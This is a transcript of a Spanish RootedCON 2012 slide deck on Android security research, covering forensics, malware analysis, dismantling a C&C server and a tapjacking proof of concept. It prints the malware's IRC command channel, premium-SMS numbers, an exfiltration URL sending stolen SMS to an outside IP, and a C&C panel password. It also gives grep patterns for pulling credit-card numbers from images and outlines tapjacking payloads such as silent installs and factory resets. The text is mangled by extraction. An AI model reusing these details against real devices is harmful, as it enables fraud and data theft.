Sebastián Guerrero - Pimp your Android [RootedCON 2012]

2,049 views

Published on

Resumen de mis investigaciones en plataformas android, se tratará:

Montando un laboratorio de investigación.
Trasteando con las aplicaciones.
Análisis forense (SIM + Memoria SD + Memoria interna).
Formar un zoológico de malware.
Evolución del malware en plataformas Android.
Nuevos vectores de ataque.
Medidas de seguridad en android.
Reverseemos algo nuevo.
Desmantelando un C&C.
Presentación de un PoC de tapjacking que afecta al 100% de dispositivos móviles

0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
2,049
On SlideShare
0
From Embeds
0
Number of Embeds
56
Actions
Shares
0
Downloads
0
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Sebastián Guerrero - Pimp your Android [RootedCON 2012]

  1. 1. Pimp%your%Android%Sebas2án%Guerrero%–%sguerrero@isecauditors.com%
  2. 2. Agenda•  Introducción•  Montando lab de investigación.•  Trasteando con aplicaciones.•  Análisis forense.•  Formar un zoológico de malware.•  Evolución del malware.•  Medidas de seguridad.•  Reverseemos algo nuevo.•  Desmantelando un C&C•  It’s 0-day time. 2%
  3. 3. Arquitectura%
  4. 4. Fichero%APK%• %%Es%un%fichero%.zip%%falso%%• %%Usado%para%empacar%las%aplicaciones%• %Todo%APK%incluye:% • !classes.dex! • !resources.asc! • %/res! • %/META1INF! • !AndroidManifest.xml!
  5. 5. AndroidManifest %
  6. 6. Montando%un%laboratorio%•  U2lizar%la%ISO%Android!Reverse!Engineering%(A.R.E.)% •  Herramientas%como%Androguard,%APKInspector,%Apktool,%AxmlPrinter,%Dex2Jar,%etc…% •  Espacio%de%trabajo%ya%configurado.% •  Ideal%para%máquinas%virtuales.%•  U2lizar%uno%de%los%ports%de%AndroixWx86.% •  Proyecto%OpenSource.% •  Sistema%opera2vo%Android.% •  Entorno%fácilmente%configurable.% •  Fluidez.%•  Crearnos%un%lab%a%nuestra%medida.%
  7. 7. Trasteando%con%aplicaciones % ndroid%SDK% p JDWgui% wireshark% roguArd % Eclipse% nderstand% ex2jar% mali% netbeans% aksmali%
  8. 8. % Montando%un%análisis%dinámico1.  Creamos%una%máquina!virtual!usando%el%SDK.% %2.  Lanzamos%el%emulador%y%almacenamos%las%conexiones%en%un%pcap:% •  emulator-–port-n-@device6name-–tcpdump-foo.pcap- -3.  Instalamos%la%aplicación% •  adb-install-appname.apk- -4.  Lanzamos%pruebas%sobre%el%disposi2vo%y%la%aplicación% •  adb-shell-monkey-–v-–p-package.app-n- -5.  Leemos%los%logs% •  adb-shell-logcat-–d- -6.  Podemos%apoyarnos%en%Wireshark%para%leer%los%logs%de%conexiones.%
  9. 9. Simulando%eventos %•  %Llamadas%de%teléfono% •  -gsm-call-p6n- •  -gsm-accept-p6n- •  -gsm-cancel-p6n-•  %SMS% •  -sms-send-prefix6number-text-•  %Emular%velocidad%de%red% •  -netspeed-gsm-n- •  -netspeed-umts-n-•  %Cambiar%coordenadas%GPS% •  -geo-fix-613…-21…-
  10. 10. Modus%Operandi %1.  AXMLPrinter2!–%Extraemos%la%información%del% AndroidManifest.xml%2.  Dex2jar%–%Conver2mos%el%fichero%.dex%%en%un%fichero% de%clases%.jar.% JAD%–%Transformamos%los%ficheros%.class%en%ficheros%.jad%3.  JDgui%–%Leemos%el%código%almacenado%en%el%fichero% .jar.% %4.  Understand%–%Análisis%está2co%del%código.% %5.  Wireshark!–%Análisis%dinámico%del%código.!
  11. 11. Analizando%la%memoria% •  Trabajamos%con%arquitectura%ARM% •  Dividida%en%cinco%capas%dis2ntas% •  Cada%modelo%es%diferente,%con%aplicaciones%específicas.% •  Herramientas%de%pago.% •  ¿Qué%podemos%toquetear%aquí?% –  Tarjeta%SIM.% –  Memoria%hsica%(Interna&Externa).% –  Memoria%volá2l.%(1)%Proyecto%AndroidWx86%%hjp://www.androidWx86.org/%
  12. 12. Analizando%la%memoria%•  ¿Qué%requisitos%necesito?% –  Indispensable%ser%root%en%el%teléfono:% –  Tener%disponible%el%Android%Debug%Driver%(ADB)% –  Es%recomendable%tener%instalado%un%servicio%SSH%o%FTP%•  ¿Por%dónde%empiezo?% –  Conocer%cómo%está%estructurado%el%sistema.% –  Saber%cuáles%%son%los%directorios%asociados%a%los%%diferentes%puntos%de%montaje.% –  Realizar%la%correlación%(NanDroid-||-(DD-&&-ADB-pull))%•  ¿Qué%técnicas%empleo?% –  Uso%de%strings%y%búsqueda%de%cadenas.% –  Análisis%de%las%bases%de%datos.% –  File%carving.% –  Análisis%del%sistema%de%ficheros.%
  13. 13. Tarjeta%SIM%•  Información%a%obtener% •  Número%IMSI.% •  Información%sobre%localización.% •  Información%sobre%tráfico%SMS.% •  Información%sobre%proveedor.% •  Información%sobre%llamadas.%•  Disposi2vo%DEKART%(35€%~%60€)%•  Caracterís2cas% •  Disposi2vo%lectura/escritura%USB.% •  Hace%copias%de%seguridad.% •  Permite%exportar%la%agenda%•  Aplicaciones% •  MOBILedit!% •  Forensic%Card%Reader% •  Oxygen% •  USIM%Detec2ve.%
  14. 14. Una%de%strings%•  Claves%WiFi% –  strings%userdata.img%|%grep%psk=%•  Correos%electrónicos% –  strings%userdata.img%|%egrep%“[aWz%AWZ_W.]+@[aWz%AWZW.]+.[aWz%AWZW.]+”%•  Imágenes%JPG% –  strings%data.img%|%grep%WoE%"(.*.jpe?g|.*.JPE?G)"%•  Inicios%de%sesión% –  Strings%userdata.img%|%grep%–n10%“login”%•  Números%de%teléfono% –  strings%userdata.img%|%grep%WoE%"([0W9]{9})"%•  Tarjetas%de%crédito% –  strings%userdata.img%|%grep%WoE%"^((4d{3})|(5[1W5]d{2})|(6011))W?d{4}W?d{4}W?d{4}| 3[4,7]d{13}$"%
  15. 15. Una%de%BBDDs %•  Cons2tuye%un%alto%porcentaje%del%análisis%forense.%•  Toda%la%información%relevante%y%sensible%se%encuentra%almacenada%en%estos% ficheros.%•  Suelen%encontrarse%en%/data/data%•  Backup%con%adb!pull%/%SSH%/%FTP%/%Terminal%Emulator…%•  Consultamos%con%SQLite3%/%SQLviewer…%
  16. 16. Encryp…%What%the%fcuk! %•  Llamadas%realizadas%(com.android.providers.contacts/databases1–1contacts2.db)%•  Mensajes%(com.android.providers.telephony/databases!–!mmssms.db)%•  Whatsapp%(com.whatsapp/databases1611mgstore.db1–1wa.db)%•  Tuen2%
  17. 17. Encryp…%What%the%fcuk! %•  Configuración%de%email%(com.google.android.email/databases!–!EmailProvider.db)%•  Delicious%(Fichero!xml)%•  Facebook%
  18. 18. La%memoria%volá2l %•  Debemos%de%realizar%sin%tratar%de%alterar%el%estado%actual%del%disposi2vo.% –  No%podemos%apagar%o%reiniciar%el%terminal.% –  Nada%de%instalar%o%eliminar%aplicaciones.% –  Cortar%todo%2po%de%acceso%a%la%red.% –  Modo%avión.%•  Necesitamos%ser%root.%•  No%disponemos%de%ninguna%API%que%permita%realizar%esta%labor.%•  %¿Soluciones?% –  No%es%posible%acceder%a%/dev/mem%por%problemas%de%seguridad.% –  Emular%disposi2vo%en%/dev/fmem%no%es%posible%en%Android% •  Función%page_is_ram!para%comprobar%si%el%desplazamiento%a%realizar%pertenece%a%la%memoria%hsica%o%no,%no%existe%en%arquitectura% ARM.! •  La%herramienta%DD%sólo%almacena%enteros%de%32%bits%y%desplazamientos%más%allá%de%0x80000000%causan%un%integer%overflow%•  Vola2litux%al%poder%
  19. 19. Vola2litux %•  Pslist!–%Listado%de%los%procesos%que%andan%ejecutándose%en%memoria%•  Memmap!–%Mapa%de%memoria%de%un%proceso.%%%%%•  Memdmp!–%Memoria%direccionable%de%un%proceso.%•  Filedmp!–%Dumpea%un%fichero%abierto%•  Filelist!–%Muestra%ficheros%abiertos%para%un%proceso%dado%
  20. 20. Si%pierdes%el%teléfono…%
  21. 21. Montando%SelwoMarina% %•  Android%Market%•  Markets%alterna2vos.% –  Aptoide% –  Blapkmarket% –  snappzmarket%•  Páginas%de%aplicaciones.% –  Mobilism.org% –  DroidAppz% –  AndroidFreeware% –  MalwareDump% –  Bazaar%•  Aplicaciones%de%terceros%•  Exploits%
  22. 22. Montando%Selwomarina%•  Organización%de%información% •  Almacenamiento%y%búsqueda%por%caracterís2cas%de%las%muestras.% •  Tamaño,-Npo,-md5,-sha1,-tags,-fechas…- •  Obtener,%almacenar%y%recuperar%elementos%de%las%muestras.%% •  Ficheros-generados,-Binarios-desempaquetados,-Exploits,-cadenas-embebidas.% •  Almacenar,%buscar%y%devolver%información%sobre%análisis% •  IDA-Pro-BD,-notas-de-análisis,-arUculos-y-referencias,-muestras-de-red,-sistemas- •  Detección%de%firmas%•  Análisis%automa2zado% •  Diseño%modularizado.% •  Caracterís2cas%%de%análisis%está2co% •  Soporte%de%múl2ples%análisis%de%malware.% •  Aislamiento%%de%entornos%de%análisis%dinámico.%
  23. 23. Evolución%del%malware%Nombre! CaracterísVcas! Riesgo! Nombre! CaracterísVcas! Riesgo!AndroidOS.FakePlayer.a! Android.Basebridge%AndroidOS_Droisnake.A% Android.Uxipp%AndroidOS.FakePlayer.b% Andr/PlanktonWA%AndroidOS.FakePlayer.c% Android.Jsmshider%Android.Geinimi! Android.GGTracker%Android.HongTouTou% Android.KungFu!Variants!Android.Pjapps% AndroidOS_Crusewin.A%Android.DroidDream! AndroidOS_SpyGold.A%Android.BgServ% DroidDream%Light%Variant%Android.Zeahache% Android.Smssniffer%Android.Walkinwat% Android.HippoSMS%Android.Adsms% Android.Fokonge%Android.Zsone! Android/Sndapps.A%Android.Spacem% Android.Nickispy!Android.LightDD % Android.Lovetrap%Android/DroidKungFu.A % Android.Premiumtext% Android.NickiBot!
  24. 24. Vectores%de%ataque%•  !Amenazas!basadas!en!aplicaciones! •  %%Malware%% •  %%Spyware% •  %%Amenazas%de%privacidad% •  %%Vulnerabilidades%en%aplicaciones%•  !!Amenazas!basadas!en!la!web! •  %%Phishing% •  %%DriveWbyWdownloads% •  %%Exploits%en%navegadores%•  !!Amenazas!basadas!en!las!redes! •  %%Exploits%para%protocolos%de%red% •  %%WiWfi%sniffing%•  !!Amenazas!`sicas! •  %%Pérdida%o%robo%del%disposi2vo%
  25. 25. Medidas%de%seguridad%•  Da%igual%si%somos%usuarios%o%una%en2dad%corpora2va.%•  Los%malos%vienen%a%hacer%daño.%•  Tenemos%un%tesoro%entre%nuestras%manos.%•  Somos%el%eslabón%débil.%•  Toda%nuestra%vida%online%(emails,%banca,%redes%sociales,%privacidad)%está% en%nuestro%teléfono.%
  26. 26. Medidas%de%seguridad%•  Canal%de%comunicación%a%través%de%VPN%y%enrutar%todo%el%tráfico.%•  Implementar%polí2ca%de%contraseñas%fuerte.%•  Deshabilitar%servicios%y%disposi2vos%inseguros/innecesarios%(GPS/Bluetooth/SDCard/ etc…).%•  Capas%de%seguridad%adicionales% •  Herramientas%de%privacidad,%an2virus,%borrado%remoto,%localización%por%GPS.%•  Deshabilitar%instalación%de%soäware%de%terceros.%•  Habilitar%servicios%de%acceso%remoto;%SSH,%FTP,%DropBear,%etc…%
  27. 27. Analizando%algo%nuevo%• !Android.FoncySMS!• !!Kaspersky!• !Risk!Level!1:%Muy%bajo%• !Descubierto:!15%Enero,%2012%• !Actualizado:!30%Enero,%2012%• !AcVvidad:!com.android.bot%• %Descargas:%3370~%%%%%
  28. 28. Información%•  Inves2gada%por%la%OCLCTIC.%•  Inves2gación%durante%2%meses.%•  “Banda”%compuesta%por%dos%miembros%(“Cerebro”%y%técnico).%•  Envía%SMS%premium%(4.5€).%•  100.000€%20/30€%por%cabeza.%•  Se%ha%cobrado%2.000%víc2mas%desde%verano%del%2011.%•  Ciudades%europeas%y%Canadá.%
  29. 29. Lista%de%permisos %•  android.permission.READ_LOGS!•  android.permission.READ_PHONE_STATE!•  android.permission.WRITE_EXTERNAL_STORAGE!•  android.permission.INTERNET!•  android.permission.VIBRATE!•  android.permission.WAKE_LOCK!•  android.permission.ACCESS_WIFI_STATE!•  android.permission.CHANGE_WIFI_STATE!•  android.permission.CHANGE_NETWORK_STATE!•  android.permission.ACCESS_NETWORK_STATE!•  android.permission.MODIFY_AUDIO_SETTINGS% com.android.vending.CHECK_LICENSE!
  30. 30. Instalando%la%app%•  Iniciar%emulador%•  Instalar%la%aplicación.%%•  Revisar%el%estado%actual.%•  Simular%ac2vidad.%•  Observar%el%nuevo%estado.%•  Analizar%
  31. 31. Primer%acercamiento%
  32. 32. Preparando%el%terreno%
  33. 33. Estructura%de%la%aplicación%•  Tras%la%ejecución%inicial…%•  Boomsh!–%ELF%W32%bits%LSB%executable,%%ARM%version%1%(SYSV),%dynamically%linked%(uses%shared%library).%•  Border01.png!–%Zip%archive%data.%•  Footer01.png!–%ELF%W32%bits%LSB%executable,%ARV%version%1%(SYSV),%dynamically%linked%(uses%shared%libs).%•  Header01.png%–%ELF%–%32bits%LSB%executable,%ARM%version%1%(SYSV),%dinamically%linked%(uses%shared% library).%•  Rooted!1!!Text%file.!
  34. 34. Footer.png%1.  Deja%constancia%de%que%el%exploit%ha%tenido%éxito.%2.  Modifica%los%permisos%de%border01%a%lectura/escritura%(propietario)%y%escritura%(resto).%3.  Instala!border01!lanzando%el%administrador%de%paquetes%
  35. 35. Footer.png%(Round%2) %•  IRCConnect!–%Conectar%con%un%servidor%IRC.%•  IRCGenUser%–%Genera%un%usuario%apoyándose%en%rand().%•  IRCHandler%–%Manejador%de%errores.%•  IRCLogin%–%Establece%sesión%con%el%canal%IRC.%•  IRCPrivmsgParse&IRCParseLine!–%Parsean%las%órdenes%recibidas.%•  IRCSend%–%Realiza%envío%de%mensajes.!
  36. 36. Footer%(La%chicha) %1.  Establece%conexión%con%192.68.196.198.%2.  Genera%nombre%de%usuario%al%azar.%3.  Se%conecta%al%canal%#andros.%4.  Queda%a%la%escucha%de%recibir%órdenes.%5.  Parsea%las%líneas%que%comienza%por%PRIVMGS%
  37. 37. Oído%cocina%•  Comandos%a%ejecutar% –  PRIVMGS%#andros%:[SH]%W%%COMMAND_TO_RUN%% –  PRIVMGS%#andros%:[ID]%W%%REAL_USER_ID%% –  PRIVMGS%#andros%:[EXIT]%–%exi2ng%ordered…%
  38. 38. Border01%•  Permisos%sospechosos% –  android.permission.RECEIVE_SMS% –  android.permission.SEND_SMS% –  android.permission.INTERNET%%
  39. 39. AndroidMeAc2vity %1.  Al%iniciar%la%ac2vidad%se%solicita%el%código%ISO%de%la%ciudad.%2.  En%base%a%esto,%se%establece%un%número%premium%u%otro.%3.  Se%realizan%5%envíos%a%dicho%número.%•  Ciudades%a%las%que%realiza%el%envío% •  Spain%Number:%35024%Message:%GOLD%% •  Great!Britain%Number:%60999%Message:%SP2%% •  Morocco%Number:%2052%Message:%CODE%% •  Sierra!Leone%Number:%7604%Message:%PASS%% •  Romania%Number:%1339%Message:%PASS%% •  Norway%Number:%2227%Message:%PASS%% •  Sweden%Number:%72225%Message:%PASS%% •  United!States%Number:%23333%Message:%PASS%%
  40. 40. SMSReceiver %1.  Se%encarga%de%la%lógica%del%envío%de%mensajes.%2.  Se%reservan%dos%campos;%uno%para%el%número%del%des2natario%y%otro%para%el%contenido.%3.  Sí%el%SMS%provece%del%número%81083,-3075,-64747,-60999,-63000,-35024,-2052,-7064,-1339,-9903,-2227,-72225,- 23333,%el%broadcast%se%corta.%4.  Establece%conexión%con%46.166.146.102%y%envía%el%SMS%recibido%y%el%número%de%origen.% 1.  hjp://46.166.146.102/?=STR2(cuerpo-mensaje)///STR1(número)%
  41. 41. IRC%Botnet % •  Servidor:!Irc.anonops.li%/%6667% •  Canal:%#xxx% •  User:%user% •  Pass:%pass!
  42. 42. “Desmontando%cúpulas” %•  ¿Obje2vo?% –  Mostrar%cómo%está%organizado%y%pensado% un%pequeño%y%simple%C&C%para%Android.%•  ¿Qué%malware?% –  Simple%Android%SMS%Trojan.%•  ¿Funcionamiento?% 1.  Se%instala%en%el%teléfono%una%aplicación%infectada.% 2.  Espera%a%que%se%realice%la%ac2vación.% 3.  Se%forma%un%string%con%el%IMEI%del%usuario%y%su%teléfono.% 4.  Se%envía%al%C&C%y%se%almacena%en%una%BBDD.%
  43. 43. Estructura%•  BBDD:!admin_123/123%•  Panel:!root/entermoney77%•  Infecta%varias%plataformas% –  Android:%mms.apk% –  Symbian%–%Nokia%s60v3,%s60v5%–%mms.sis% –  Resto%de%plataformas%con%soporte%java%–%mms.jar%
  44. 44. % Contenido•  Almacena%la%siguiente%información:% –  Fecha!infección.! –  IMEI!teléfono.! –  OS.! –  IP.! –  País! –  Número% –  Texto%•  Panel%en%ruso%y%sólo%registra%teléfonos%de%Rusia.%•  Procedencia%rusa.%
  45. 45. It’s%0%day%2mee!! %
  46. 46. TapJacking%•  Vulnerabilidad%TouchWEvent%Hijacking%•  Mostramos%al%usuario%una%interfaz%tapadera.%•  Podemos%obligar%al%usuario%a:% –  Pagarnos%unas%vacaciones.% –  Obtener%todos%los%datos%del%teléfono.% –  Capturar%los%movimientos%del%disposi2vo.% –  Instalar%aplicaciones%saltándonos%los%permisos.% –  CreaVvidad…!•  Basada%en%toasts.!•  Bueno…%¿Y%Google?%
  47. 47. Funcionamiento%
  48. 48. ¿Cómo%está%organizado?%•  %Se%han%diseñado%un%total%de%4%payloads% •  %CallPayload.java!–!Realiza%llamadas%al%número%de%indicado.! •  %MarketPayload.java!–!Descarga%e%instala%aplicaciones%del%market.! •  %ResetPayload.java!–!Devuelve%al%estado%de%fábrica%el%teléfono.! •  %SMSPayload.java!–!Envía%un%mensaje%de%texto%al%número%indicado.% •  TweetPayload.java%–%Publica%un%tweet%en%una%cuenta%de%usuario%con%sesión%iniciada.% •  hjp://twijer.com/home?status=Yo%me%he%comida%más%de%una%concha%Codan%por%día%•  %Está%diseñado%para%que%se%puedan%añadir%payloads%por%el%usuario%de%forma%sencilla.%•  %La%estructura%interna%es%la%siguiente:% •  %Main.java!–!Ejecuta%el%servicio%y%carga%los%payloads.! •  %MalwarePayload.java!–!Abstracción%para%implementar%más%fácilmente%los%payloads.! •  %MalwareService.java!–!Crea%el%toast%e%inicia%el%proceso%de%tapWjack.% •  %main.xml%–%Tiene%el%layout%de%la%aplicación,%lanzando%con%un%evento%onClick%cada%payload.% •  %strings.xml!–%Con2ene%las%cadenas%que%son%u2lizadas%en%la%aplicación.% %
  49. 49. ¿Preguntas?%¡MUCHAS%GRACIAS! % @0xroot%

×